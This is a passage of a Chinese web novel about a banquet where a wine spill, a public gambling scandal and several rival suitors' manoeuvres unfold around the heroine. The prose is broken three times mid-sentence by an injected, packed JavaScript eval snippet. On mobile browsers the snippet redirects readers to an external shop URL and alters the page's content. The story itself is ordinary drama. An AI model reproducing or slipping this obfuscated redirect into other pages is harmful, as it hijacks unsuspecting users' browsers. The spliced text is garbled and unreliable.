两人的对话低声又快速,除了他们和弹幕没人发现,另外三人也依旧僵持着。 顾皎皎呆呆的站着,手里拿着一个空了大半的酒杯,神情惊讶又无措,想上前又有些迟疑。离她一步的距离,叶骁面色铁青,腰腹处连着大腿根都被酒水晕染,还有残留的水渍滴答滴答往下落。 他完全搞不懂怎么就变成了这样。 刚才他好好的走着,正在想见到她该说什么才显得不突兀又能拉近关系,胳膊就被人拽了一下,然后便是迎面而来的酒水,幸亏他退得及时,否则还会被顾皎皎撞个满怀。 他冷冷扫了眼顾皎皎,心里只觉厌烦,一句话都懒得和她说。 说什么?拒绝、斥责、好言好语相劝,甚至厌恶咒骂他都做过,仍然无济于事。 “女追男隔层纱”这句话并不永远适用,如果不是他心理还算强大,被她这么执着到偏执的纠缠了十几年只怕都得疯了。 他烦躁地偏过头,另一边裴肃长身玉立,头发一丝不苟,瞧着威严又气派,很难想象刚才就是他拽了他一把让他做了一回“人肉护盾”。 “小舅。”他喊,当真有些迷惑不解。 他们确实不够亲,但他好歹喊他一声“舅舅”,不至于这般无情吧?明知他抵触顾皎皎,还硬把他往她身上推? “抱歉,条件反射。”裴肃略带歉意,他刚才真的是下意识反应,拉他不过是身旁他最近,换了其他人也是一样。 而且今天已经算是接连失误了。 他抬起手,顾茉莉这才发现他竟是一直戴着手套。 棕色皮质手套包裹着修长的手掌,配上他身上的咖色风衣,低调深沉间又透着男人的硬朗和风度,犹如十九世纪的伦敦绅士。 可惜手套上的污渍破坏了那份完美。 裴肃抵了抵上颚,顾皎皎冲出来的太快,之前又站在他的视线死角,仓促之下即使有叶骁挡在前面,也不可避免的受到了波及。 虽然不大,其他人或许可以不在意,但他有洁癖,特别严重的洁癖。 这一点点脏污就像是一只只虫子在啃食他的手掌,让他浑身难受。 他眉头紧皱,快速脱下手套。叶骁瞧着瞧着,眼神不由闪了闪。 他的手很漂亮,白皙匀称、骨节分明,手背上青筋微微凸起,指甲修剪得整整齐齐,只是拇指和食指的夹缝衔接处有茧子。 这个位置…… 他想起有几年,当他还在学校里和一群狐朋狗友天南海北的胡闹时,似乎很长一段时间都没见过这个小舅,母亲不知道他去了哪里,外公也三缄其口,仿佛一个大活人就那么消失了。 当时他没太在意,小舅在裴家本就待遇特殊,好吃好喝供着,却也相安无事的远离着,没人管束他,也没人溺爱他,就像一个外人。 涉及到长辈们的秘密,他没有多打听,但如今看来,背后大概真的不简单。 “不好意思……” 正在众人各有思量时,顾皎皎期期艾艾地开口,然而令人意外的是,她不是对着叶骁,而是看着裴肃。 “是我没注意,太鲁莽了,你的手套多少钱,我赔你吧?” 在场所有人无不诧异,目光如探照灯般在三人身上来回转悠,怎么个情况这是? 一直追着叶骁跑的顾皎皎居然没管明显“受害”更严重的他,反而顾上了他的舅舅……换对象了,还是甥舅俩? 顾琤和刘婕感受到众人有意无意的打量,脸皮一抽一抽,本能的低下头,掩住满脸的尴尬和羞躁。 他们真不知道这个闺女又想干啥! 被人通知匆匆赶来的裴舒雪脚步一顿,神情唰地冷了下来。 她好像忽然间就有点明白儿子为什么那么抗拒她之前的打趣了。 “叶骁!”她疾步走过去,上下扫视他,确定真的没伤到才松了口气,“先去换身衣服吧,这么多客人呢,让你爷爷知道了也不好。” 叶骁看了看顾皎皎,又看了看裴肃,不知想到什么,轻轻扯了扯唇,转身大步流星离开。 背影毫不眷恋,只在路过顾茉莉时停了停。 “抱歉,失礼了。” 顾茉莉摇摇头,星眸微弯,笑容如春风拂面,轻柔又温暖,“没事,叶先生快去,小心着凉。” 叶骁神色缓和,刚刚还仿若结了冰的双眼瞬间消融,还要再说,严恒向前一步,恰到好处的挡住了他的视线。 郁栩文不知从哪冒出来,一把揽住他的肩,表情真切、语气充满担忧,“还在磨蹭什么,那里让女士看到多不雅。” 叶骁顺着他的眼神望过去,脸上一阵青一阵白,最后定格成一片浓重的墨色。 西装面料很好,顺滑服帖,沾了水后更是紧紧贴在了身上,某处安安静静,却鼓得过于明显。 “你怎么现在才提醒我!”他低吼。 一想到方才他就这样站在了她面前,他就有种羞愤欲死的冲动。 完了,她会不会以为他在耍流氓? “谁知道你这么迟钝,自己都没感觉吗?”郁栩文也是真服了,酒水凉的吧?贴在身上冷的吧? 这都没察觉,蠢死他算了! 叶骁也憋屈,生气的时候哪里顾得上这些。 他半捂着脸,脚下几乎快走成了残影,不一会就消失在了楼梯口。 大厅里静默了片刻,不知是谁扑哧笑了出来,紧跟着笑声一道接一道。 众人乐不可支,都说叶少花心风流,换女朋友速度比换车还快,怎么现在瞧着既纯情又蠢萌啊? 顾茉莉躲在严恒身后,也在偷笑,本以为是只花孔雀,没想到是只哈士奇,还挺可爱的。 严恒回头瞧她一眼,“您堂姐好像并没有放下。” 之前的举动更像是欲擒故纵。 顾茉莉再次探出头,顾皎皎正望着叶骁离去的方向怔怔出神,眼里写满了复杂。 “落花有意随流水,流水无情恋落花。”她叹息,似模似样的发出感慨,“多情总被无情伤。” 严恒轻嗤,一个不识情爱的家伙还点评起别人的感情了。 他揉了揉她的脑袋,在她瞪眼前率先转过头。 只要她知道,再可爱,那也是她亲堂姐恋慕的人就好。 他嘴角挑起一抹意味深长的弧度,对敌人,从来都要内外兼治。 他的视线越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679556|143500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过顾皎皎看向裴肃,天降“馅饼”,也不知道这位天之骄子接不接得住。 “麻烦你将这个扔了,谢谢。”裴肃没看任何人,将一对手套都取下后交给不远处候着的男侍应生,也没管顾皎皎和裴舒雪,径直往门口走。 所经之处,众人不管心里怎么想,面上都是一副客气的笑,包括顾琤和刘婕。 他们多少还有些讪讪的,毕竟闺女那点浅薄的心思谁都瞧得出来。 她想利用别人“曲线救国”,他们不觉得有错,只要能达成目的,手段不重要,相反他们很高兴她终于开了窍,学会用脑子,而不是一味感情用事。 但前提是,那个人是你能利用得起的。换言之,要么你的权势地位碾压他,迫使对方只能顺着你来,要么他心甘情愿被你利用。 两样都没有?那你是老寿星上吊,嫌命太长吗! “顾先生。”裴肃停在顾琤面前,语速还是不急不徐,却听得顾琤心下坠坠。 “裴先生,小女不懂事……” “顾先生的女儿如何与裴某无关。”裴肃笑着打断他,态度温和,“倒是裴某最近听说了一个消息不知是真是假,正巧碰到顾先生了,就想问一问。” “……您说。” “有人告诉我,您想找人接手您手上顾氏的股票?” 严恒眼神骤然一厉,顾氏股票? 集团才稳定,股价才回升不久,顾琤就想抛售股票,传出去让公众怎么想? 还有他虽然只占很小比例,可那也是实打实的股份,套现的话足有将近十个亿,若是被占股比较多的股东收去了,影响了顾总在董事会的话语权怎么办? 尤其现在他还让别人知道了这个消息,真是愚蠢至极! 刘婕也不可思议的盯着顾琤,“这么大的事你都不跟我商量?” “没、没有的事!”顾琤慌忙朝顾茉莉这边瞅了一眼,话都说不利索了,“裴先生怕是听错了,我怎么可能、怎么可能舍得卖股票呢……” “是吗?”裴肃轻笑,“那恐怕真是裴某记岔了,我就说,平常也没听闻顾先生有嗜赌的毛病,怎么可能因为还不上赌资就要卖股份?” “顾琤!”刘婕尖叫一声,顾不得场合,揪住顾琤的衣领神色狰狞,“你又去赌了?什么时候,又输了多少!” “妈!”顾皎皎赶紧上前想要拉开母亲,“您这是干嘛呀,这么多人……您先放开爸,有话咱回去说行不行?” “说什么说,你让我放过你爸,谁来放过我们母女!”刘婕一把推开女儿,指着顾琤气得眼泪都要掉下来。 “上次被人堵到家里要剁你手、我逼不得已贴上所有嫁妆为你补窟窿的时候,你是怎么向我保证的?你是不是说以后再也不赌了?现在呢,现在又是怎么回事,都到了要卖股份的程度,你说,你说你到底欠了多少!” 顾皎皎愕然,已经有过一次,还被堵到家里?妈妈的嫁妆都填进去了? 那家里现在还剩下什么? 她惶恐的睁大眼去看顾琤,“爸……妈说的都是真的?” 顾琤缩着肩膀,恨不能有个地缝钻进去。他顶着顾家二子的名头,平日里也算是个人物,如今却当众被自家媳妇揭了脸皮,只觉又窘迫又愤怒。 可他不敢朝媳妇发火,他的确欠她的,他也不敢朝裴肃发火,因为他惹不起。 偏偏这个时候顾皎皎还揪着他不停的追问,他烦不甚烦,下意识一巴掌挥过去,“吵什么吵什么,都是你害的!” 如果不是她去惹裴肃,他又怎么会当众抖落这些? 不抖出来,等他悄悄卖了股份、换了赌债,神不知鬼不觉谁又能知道? 现在好了,全毁了! “你对皎皎发什么火!是她逼着你去赌了吗?”刘婕见女儿被打,疯了一样冲上去撕扯他,“顾琤我跟你拼了!” 裴肃退到一边,慢条斯理的掸了掸衣袖。 一个小姑娘不知道天高地厚,那就让她知道一下,到底天有多高、地有多厚,让她知道谁能惹谁又不能惹。 叶骁能被纠缠这么多年,说到底还是不够狠。 骂千万句,不如做一件事让她实实在在体会到痛,她才不敢再随意伸爪子。 严恒挡在顾茉莉身前,不让她看,也不让她动,眼睛却一眨不眨的盯着裴肃。 这家伙倒是比他以为的还要果决,也够心狠。 就这么直接闹开,丢的只是顾琤他们的面子吗?不是,还有叶家,今天可是叶家老爷子的寿宴,经这样一搅合,宴会哪里还能办下去。 恐怕叶家也定然是有什么地方得罪他了。 至于顾氏,有影响,但影响也没那么大,毕竟谁都知道顾琤之前还想抢侄女的位置,现下他倒霉,他们不上去踩一脚已经仁至义尽,帮不帮忙都在情理之中。 而且某种意义上来说,他还算是帮了顾总,让她有了准备,不然真等顾琤卖掉股份,又是一个麻烦。 一箭三雕,不,一箭四雕。 严恒舌尖抵住上颚,眸光透着一丝冷冽。不久前他刚向他强调他是顾总的“秘书”,比他这个陌生人重要,转头他就用这件事扇了他一记响亮的耳光—— 你不是说你重要吗,好像顾总时时刻刻都离不得你,可你却连这么重要的消息都不知道,就问你这个秘书陈不称职? 若是再换个心思多、爱猜疑的上司,估计还会怀疑他是不是收了顾琤的好处故意隐瞒。 严恒突然有些想笑,如果现在位置上的还是老顾总或小顾总,说不定真会因此对他生了嫌隙。 短短时间盘算好了一切,达到了他想达到的所有目的,这样的人不升,谁升? 裴肃似有所觉,侧身望过来。四目相对,两人皆是面色平淡,并不见异样。 只有幽深的黑眸背后隐藏着两道望不见底的暗流。 “啧。” 郁栩文站在二楼,将一切尽收眼底,不由挑起一抹兴味的笑。 他似乎闻到了同类的味道,还不止一只。 “看什么?”叶骁重新换完衣服出来,就要着急下楼和顾茉莉解释,他刚才真不是有意的! “等会。”郁栩文叫住他,目光忽然投向大门处。 “又有人到了。” 11.京圈茉莉花 “谁啊,这时候才来?” 正专注看好戏的众人就听“咚”地一声,厚重繁复的雕花大门再次开启,背光处有道颀长的身影缓步迈了进来。 他身着一袭长衫,手持佛珠,淡定从容的走来,容貌如画、风仪无双,如松竹,又似冷玉,带着淡淡的疏离感和清冷,宛若古代世家贵公子从书里走了出来。 “二爷。” “二爷您来了。” 问候声此起彼伏,众人态度比之刚才对待裴肃更加恭敬,连一直待在房内、无论外头怎么喧嚣始终不动如山的叶老爷子也在叶德昌的搀扶下出来了。 “庭琛来啦,可是等你许久了。” “抱歉叶老,临时有事耽误来晚了,请您见谅。”翟庭琛微颔首,从徐峰手里接过一方不大的长条木质礼盒,“小小薄利,还望您笑纳。” 叶德昌要接,叶老爷子拦住,自己亲手接了礼盒,亲自打开,里面竟是一高约14cm的蛐蛐葫芦。 圆腹、细腰、敞口,器形匀整优美,包浆圆润,其上还雕刻着松鹤延年图,四只仙鹤眼部均有点金装饰。 “你费心了。”叶老爷子爱不释手,他一生没别的爱好,就喜欢文玩,尤其是葫芦。 葫芦谐音“福禄”,有健康长寿、富贵一生之寓,到了他这个年纪,就爱这些带有好兆头的东西。 “清代的玩意儿,不值当什么。”翟庭琛言简意赅,只是顺道瞧见了一起拍下,确实算不得费心。 他看向形容狼狈的顾琤夫妻,“这是怎么了?” “两口子好像闹了点矛盾。”叶德昌神色淡淡,尽管再三掩饰仍露出了几分不悦,“夫妻嘛,就是这样,床头打架床尾和,不过这次阵仗稍微有点大。” “……是,我们夫妻在教育孩子上有点分歧,一时激动……大家见笑了、见笑了。”顾琤讪笑着接话,朝四周拱手致歉,又对着叶老爷子微微鞠躬。 “对不住老爷子,搅了您的好日子,改日一定登门谢罪。” 叶老爷子把玩着葫芦,一副老眼昏花、耳朵也听不清的模样,一声不吭。 这就是真生气了。 顾琤苦笑,摸着快被薅秃的头顶颇有些局促难安。这一刻他倒是真后悔了,早知道之前就该再努努力,想方设法拿下顾氏,如果今日他是作为顾家掌权人而来,他们又岂会这么对他? 同样姓顾,同是顾家人,有权没权,地位天差地别。 顾皎皎感受着别人眼里隐含的讥诮和鄙薄,头一次清晰的认识到了这一点。 爷爷当家时,她是尊贵的顾家小姐;大伯当家时,她依然是颇受他照拂的子侄。 可是现在顾氏她堂妹当家,以后会是她的子女,顾氏与他们一家只会越来越远,越来越偏。靠着父亲手里那点微薄的股份,她在中下层圈仍能说得上话,走出去不知情的人还是会尊称她一声“顾小姐”,然而上层、乃至顶层圈,可能再无她的立足之地。 这样的差异,对她而言,不亚于从天上掉到地下。 她慢慢环顾四周,往日亲切打招呼的长辈、朋友们不是避开目光,就是换了一副嘴脸,包括一直都很疼爱她的裴舒雪。 她知道如果说刚才她试图贴上裴肃的举动惹了她不快的话,那么爆出她爸嗜赌的消息则是彻底让她厌恶了他们一家。 谁都不愿和一个赌徒扯上关系。 可是这一切又怪谁呢? 顾皎皎强忍泪意,视线落向裴肃,怪他吗? 不,怪她自己,是她猪油蒙了心,异想天开的竟然想出那么一个可笑的报复手段。也许是从小到大都太顺遂了吧,除了在叶骁身上受过挫,她再没受过委屈,这才让她有了种错觉,觉得世界都该围着她转,只要她想就能得到。 所以她锲而不舍的追着叶骁跑,因为那是她唯一得不到的东西。 所以她在察觉对方有可能喜欢别人后,恼羞成怒又满心不甘,妄图勾引他舅舅来达到让他悔恨的目的,以此来证明是他不长眼,不是她不够好。 但是她忘了,不是所有人都是叶骁,即使再厌恶抵触她,也还是会顾忌两家情分,给她留一两分面子,不会做到赶尽杀绝。 这么想着,她的眼泪终于掉下来,直到此时她才意识到她以前的喜欢有多么浅薄,连她自认为喜欢的人都没真正看清。 可是已经晚了,一切都被她弄砸了。 泪眼朦胧中,她看到她心心念念的身影快速从楼上下来,走向阳台的位置。她看到了他的雀跃,也看到了他的忐忑,就像她当初去见他。 “爸、妈,我们回吧。”顾皎皎转身,泪水糊了满脸,“这里我再不想来了。” 既然她不再属于这个圈子,那她情愿是她自己主动离开。 “皎皎?”顾琤和刘婕面面相觑,虽然不懂女儿又是在闹什么脾气,但正好他们也待得很尴尬,想也没想便追了上去。 先解了眼前的窘境,以后的事……以后再说吧! “严秘书。”一直沉默的顾茉莉突然开口,“你去和二叔谈,就说我想以三倍的价格买下他手里所有的顾氏股份,另外将京郊的一处房产、汇通路两间铺面过到堂姐名下,当作我父母给她以后结婚的添妆。” 顿了顿,她补充:“如果姑姑愿意,也是一样的价格。” “……顾总!”严恒难掩错愕,三倍的市价,您知道那是多少钱吗? 该给的遗产早已划分清楚,现在多给的完全就是纯纯贴补,还结婚添妆,什么时候堂妹有义务给堂姐嫁妆了? “您如果钱多烧得慌,可以给我。”他面无表情。 就算您爷爷还在时,您二叔一家的总财产都没这么多。 “我是老板。”顾茉莉仰起头,努力瞪大眼来表示她的坚决,“听话。” 还听话? 严恒差点气笑了,您当您多大、又当我多大? “你年纪大,我职位大。”顾茉莉想拍他的肩膀,奈何身高不够,只能拍了拍胳膊,“去吧,皮卡……咳,去吧,严秘书。” 严恒冷笑,不要以为收的及时,他就没听到,回去我就将你平板里下载的那些动画片和电影全删掉! “我先送您回去,再去找顾先生谈。”他盯着那一家三口的背影,声音低沉。 “会以您满意的方式‘买回’那些股权。” “你做事我放心。”顾茉莉笑眼弯弯,只有心愿达成的喜悦,不见半点尘埃。 星际网民却没那么好糊弄: 【我敢打赌,小茉莉想花出去的钱绝对花不出去,或者花不了那么多!】 【这还用你说?小茉莉心善,名义上是买股份,实际上就是想给她二叔送钱,可惜咱严妈妈是个抠搜的人,舍不得hh】 【茉莉就是心太软,赌徒根本不能沾,这次给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691097|143500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他就会想要下一次,难道要一直管着他们一家不成?】 是啊,严恒也是这么想。 股份肯定要拿回来,不仅顾琤的,顾琪的也要拿到,这样才能确保顾茉莉的绝对占比。 不过手段不能太过分。 他无奈的瞥了某人一眼,干净的人见不得不干净的事。即使她知道这种事杜绝不了,但肯定不乐意在她身边发生。 那就买吧,以“合理”的价格。 他再次望向裴肃,这次可能还真得谢谢这位。 裴肃没看他,他在看着翟庭琛,神色莫名。严恒挑眉,这两人认识? “认识。”翟庭琛注视着阳台,眸光不易察觉的变得柔和,“有幸见过。” 叶老爷子顺着他的目光瞧过去,便瞧见了一张色若春华般的娇颜,出尘如明月,翩然惊鸿。 “茉莉这孩子确实不错。”他了然的笑笑,将葫芦放进礼盒,“年纪大了精神就短了很多,你们年轻人自个玩去吧,我上楼歇歇。” “爸,我陪您。”叶德昌赶忙过来搀扶,却不想叶老爷子摆摆手,反而招呼离得更远的叶骁。 “骁儿,你来。” “啊?” 叶骁才走到顾茉莉身边,还没来得及说话,就收到了来自爷爷的召唤。他愣了愣,一时没有反应。 郁栩文推了他一下,“愣着干什么,叶爷爷叫你。” “还不快过来?”那边叶德昌也催。 “先过去,说不定爷爷有事要交代你。”裴舒雪过来拉儿子,低声劝告,“今天已经闹得不好看了,难道你也想拂你爷爷的面子?” “……知道了。” 叶骁回头看看顾茉莉,又看看不远处等着的父亲和爷爷,抿了抿唇,终是迈步走了过去。 叶老爷子拉住他,对翟庭琛笑,“我这孙子一向肆意,但性子其实很实在,是个单纯的孩子,日后若是有哪里做得不到位的地方,恐怕还要麻烦庭琛你教导教导。” “您客气。”翟庭琛微微颔首,平静的眼里瞧不出多余的情绪,“贵公子人品贵重,又有您耳濡目染,哪里需要别人教导。” 叶老爷子点点头,拉着叶骁往楼上走,聪明人从来不需要将话说得太明白,各中深意自然都懂。 翟庭琛故意在他面前露出不同,为的不过是提醒他,他有意。他叫回孙子,同样是在表明,叶家没有与他相争的打算。 至于最后…… 叶老爷子叹了口气,他一向开明,儿女婚姻、事业皆由他们自己,老了老了,却想为了他们倚老卖老一把,只是人家不接茬。 翟家势大,翟庭琛因着信佛背地里被人提起时总会称呼一声“那位佛爷”,可是信佛不代表心就佛。 连佛祖都有怒目金刚,更何况是人。 那位的手段他也不是没见过,想当初他刚上位,翟家也曾风起云涌,然而最后又怎么着了? 他在父亲早逝、母亲长年住在疗养院的情况下,以稚龄打败一众早成气候的叔伯,稳稳坐定了位置,反观那些人败的败、伤的伤、逃的逃,家不成家。 他为什么对他那么客气?还不是因为他知道叶家所有子孙加一块都不是他对手。 叶老爷子看向孙子,怜爱的摸了摸他的头,明珠是好,可惜不是什么人都能配得起。 叶骁扶着他,一声没吭,心里怎么想只有他自己知道。 12.京圈茉莉花 “翟先生!” 顾茉莉见翟庭琛走过来,立马笑盈盈的上前两步,快得严恒都没来得及阻止。 “你回来啦。” “嗯,刚下飞机。”翟庭琛看着她微微透着粉的脸颊,“顾小姐瞧着康健不少。” “托您的福。” 顾茉莉歪了歪头,两人对视,不约而同笑了。这是翟庭琛来到这里后露出的第一个笑容,也是今晚众人见到的最鲜活的顾茉莉。 其中默契不言而喻。 众人你看看我、我看看你,有数了,终于知道一向不热衷于这种场合的翟二爷为什么今晚会来了。 敢情不为叶老为美人啊。 翟庭琛接下来的举动更证实了这点,就见他又取出一方小盒,比之前送给叶老的瞧着还要精致。 “途经香岛,有空参加了场拍卖会。”翟庭琛打开盒子,众人探头,还没看清里面的东西,就闻到了一股醇厚的香气。 馥郁甜美,带着丝丝水果的酸甜气息,又似有花香,清雅细腻、层次分明,气韵生动绵长。 再一细瞧,竟是一块绿棋沉水弥勒佛吊坠。 质地细腻有光泽,油脂线粗壮饱满,历历分明,结香醇化如膏脂,品相极佳。弥勒佛立体圆雕,庄严又不失随和,右手扶地、左手托元宝,面上喜笑颜开,瞧着格外喜庆。 男戴观音女戴佛,佛通“福”,不仅寓意福泽深厚、平安富贵,还能辟邪,保佑佩戴者平平安安。弥勒佛又有快乐之意,而且祂是未来佛,代表着善良和宽容,象征着希望和好运。 可以说,这份礼物无论从价值和意义上都是一件不可多得的珍品。 但是翟庭琛看上它,还有个重要的原因——材质。 “上次见你戴着佛珠似乎有点用,不过手串有诸多不方便,不如这个,串个绳就可以佩戴,不影响日常生活。”翟庭琛取出吊坠,温言细语,“希望能对顾小姐的身体有益。” 奇楠也是最好的天然抗菌性药材,对人体内脏功能、循环功能及精神方面都有效果,虽不能与药物相比,但佩戴下肯定会有助益。 “这也太贵重了。”顾茉莉咬着唇,既惊讶又感激,还有些不安。 “你已经帮了我很多……”再多她都不知道该怎么办了。 “你也帮了我。”翟庭琛唇角含笑,“这些日子多谢你帮我照顾木铎,这是谢礼,不用放在心上。” 严恒皱眉,木铎居然是他的猫……两人的关系已经近到可以互相帮忙照顾宠物的份上了? 郁栩文斜着身子靠在柱子上,那模样竟有几分神似叶骁。他想起暴雨那日,他们坐在车里看到的一对身影和那辆离去的库里南。 是不是缘分就是从那时候开始的? 他垂下眼,或许当时他们都该迈出去。 裴肃莫名感觉手痒,他下意识便想寻找手套,手刚插进裤兜才想起手套早已被他扔掉了。 他烦躁的想拿出来,却碰到了一个硬硬小小的东西。 是糖,她给的糖。 透明包装袋里奶白奶白的小奶牛,可爱中带着几分童趣,属于以往他绝对不会多看一眼的东西,可他不久前却差点吃了。 他攥紧掌心,包装袋被捏得发出刺啦刺啦的响声,而后砰的一声开了。 裴肃:“……” 他迅速朝前看去,那边的几人并没有听见,顾茉莉接过了吊坠,正开心的说着什么,翟庭琛静静听着,眼神比月光还柔和。 他觉得刺眼,撇过脸,将奶糖扔进嘴里,咔嚓,一口咬碎了奶牛的头。 刚走过来的裴舒雪:“?” 她看看他手里的奶糖包装纸,表情如同见了鬼,她居然有一天会见到裴肃吃糖,还是几岁小朋友才吃的奶糖? “低血糖。”裴肃轻描淡写的吐出三个字,“有事吗?” “向你道歉,那会是我太着急一时忘了……忘了你的忌讳,拉了你一下。”裴舒雪瞥了眼他的胳膊,“你……没事吧?” “没事,只是不习惯而已。”裴肃慢慢将包装纸叠好放进口袋,面上瞧不出异样,好似没有察觉对方探究式的打量。 “那就好,还以为你和小时候一样特别抗拒女性的触碰。”裴舒雪笑了笑,宛如寻常关心弟弟的亲姐姐,“毕竟你年纪也不小了,也该考虑终身大事了,要是一直那样可怎么办哦。” 裴肃没接话,神色冷淡,裴舒雪絮叨了几句,见他始终不搭腔,不由僵硬的闭上了嘴。 对于这个“弟弟”,她一直都不知道应该以怎样的态度对待。 在他刚来裴家时,她也曾试图亲近,可他年纪虽小,却总是油盐不进,不接受不拒绝,只淡淡的看着她,冰凉的视线就像是能把人看透,让人从心底感觉渗得慌。 尤其有一次,她趁他不注意从后面抱了抱他,谁知下一秒就被他狠狠推开,当时他的眼神她一辈子都忘不掉。 凶狠、暴怒,还有浓重的厌恶和排斥,仿佛嗜血的猛兽,她毫不怀疑但凡她离得再近点,他都能将她撕成粉碎。 之后他将自己关在房里整整两天,再出来时所有情绪都收敛不见,又变成了那个话少但礼貌的少年。 可是裴舒雪却觉得更胆寒了。 那时候他才多大,十岁、还是十二岁?她儿子还在玩机器人、打游戏的时候,他已然具备了一个成年人都不一定具备的克制和理智。 从那之后,她自觉远离了他,也刻意避开叶骁和他,只当他是住在娘家、比较特殊的客人。 相安无事这么多年,没想到一时不察又得罪了他。 裴舒雪叹气,“对不起,这次是我考虑不周,以后不会了。” 裴肃不置可否,人总是喜欢在事情办砸后懊悔,可是下一次依旧会犯同样的错,所以他从不信任何人的任何保证。 “你……”裴舒雪是真拿他这个性子没办法,但为了叶家她还是要想办法消除今晚的不愉快。 “你是不是喜欢方果的糖?”她指了指他的口袋,“那是家老牌的食品产商,最近听说经营不善正面临倒闭的风险,如果你喜欢,我将它收购下来……” “不用了。”裴肃打断她,“我这人不喜欢记仇。” 因为一般当场就报了,什么君子报仇十年不晚,不过是当时没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13703552|143500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能力报、安慰自己的话。 “今日事今日毕,你不用想太多。” 裴舒雪松了口气,这就好这就好。 “那……我派车送你回去?” “不。”裴肃摩挲着包装纸,想着她刚才的话,目光落向某个身影,“我还有事。” 裴舒雪转头,恰巧那边三人也侧过身,似乎正要往外走。 她想到什么,神色一滞,差点忘了那件事! “……那你忙、你忙。”她背过身,脚步匆匆的从另一边离开,好似特别怕和他们撞上。 裴肃盯着她的背影眯了眯眼,看来裴父的嘴并不严。 “严秘书,你先回吧。”顾茉莉提着裙摆朝严恒挥挥手,“我陪翟先生去接木铎。” “我还是跟着您吧。”严恒瞥了眼一步之遥的翟庭琛,“不看着您安全到家,我不放心。” “有什么不放心……” “让他跟着吧。”翟庭琛随着她步下台阶,并没有回头。 早候在外面的徐峰正要上前打开车门,就被他淡淡看过来,他一个激灵忙收回手,转而拦住要跟上的严恒。 “严秘书,久仰大名,请跟我来。” 严恒看了看他,他面带微笑,姿态却是不容拒绝,“我们坐后面。” “……”严恒眉峰微微下压,“有劳。” “应该的,很早以前我就想和你请教下了。”徐峰笑得格外热情,“二爷总嫌我反应迟钝、不够机灵,如果能和你学习几招,是我的荣幸。” “徐助自谦了,我哪有那资格。” “严秘书才是太谦虚,你可是深得老顾总信任,听说曾经顾少想把你调走,他老人家不但没同意,还斥责了一番小顾总,责怪他将私人感情带入公事。”徐峰一脸敬佩,“这样的能力难道不值得学习?” 顾茉莉愕然转头,什么意思,严恒和她哥关系不睦? 严恒飞快扫了她一眼,再望向徐峰时眸光彻底冷了下来,“徐助从哪听来的流言,老顾总向来器重顾少,怎么可能为了我一个小小的秘书责怪亲生儿子?” “不是吗?都说顾少想将你赶出顾氏……”徐峰先是惊讶,随即仿若失言般拍了拍嘴,对着顾茉莉讪笑, “顾小姐您别介意,我不是说严秘书有坏心,既然老顾总留下他,肯定有他留下的理由。” 顾茉莉看看他,又看看严恒,笑容逐渐敛去。 什么样的理由能让她爸不顾她哥的意愿也要留下他?宁愿拂了他身为未来继承人的脸面,也要留下一个随时可以被替换的秘书…… 翟庭琛步下最后一个台阶,伸手打开车门,神情从始至终未曾变过。 “先上车吧,外面冷。” “翟二爷介不介意也捎我一程?” 裴肃从后面走来,一手插兜一手随意的垂着,姿态闲散、肩背却始终笔挺,仔细瞧每步间的距离几乎等同,在他身上完美诠释了什么叫“站如松、坐如钟、行如风”。 这是个受过专门训练的人。 徐峰脑子里闪过这个念头,不自觉便往前站了站,挡在翟庭琛和顾茉莉身前。 13.京圈茉莉花 “裴先生?” 顾茉莉听出了这个声音,不注意可能不容易察觉,但只要细心些就能发现,裴肃语速会比其他人快上半分,而且一个字一个字落地十分干脆,毫不拖泥带水—— 他的一举一动、一言一行都承载着曾经经历的烙印,好比现在,停下脚步时习惯性的两脚跟靠拢并齐,脚尖向外分开,保持在了同一水平线上,两肩齐平向后张,如一根标杆。 她下意识便多了几分好感,这样的人代表着可靠、值得信赖。 “您也要回了吗?” “嗯,临走前想和顾小姐道个歉。”裴肃面露歉意,“刚才多有得罪。” 顾茉莉眨了眨眼,才明白他指的什么。 “没关系,您也没想到会闹成那样……”她笑得毫无芥蒂,“我还得多谢您提醒,不然二叔那么赌下去迟早出事。” “您不怪我就好。” 裴肃拿出那个小小糖果袋,“可能有点冒昧,不知道顾总有没有时间听一听方果这个企业的情况?” 顾茉莉看到那眼熟的包装,心虚地摸了摸鼻子,当时一时情急居然把糖塞给了一个陌生人。 不过,空袋子……他这是吃了吗? “味道不错吧?这家有很多种类,但我感觉这个最好吃。”她开心的和“小伙伴”分享她的经验,没有注意到严恒愈发难看的神情。 他已经猜到对方想说什么了。 翟庭琛侧过身,直到这时候他才给了裴肃一个眼神。 “你到哪?” 裴肃对上他的视线,仿佛跌进了一片深潭,他微微一笑,转过脸,“顾小姐呢?” “我?我回瑞兴。” 裴肃笑容加深,“真巧,正好顺路。” 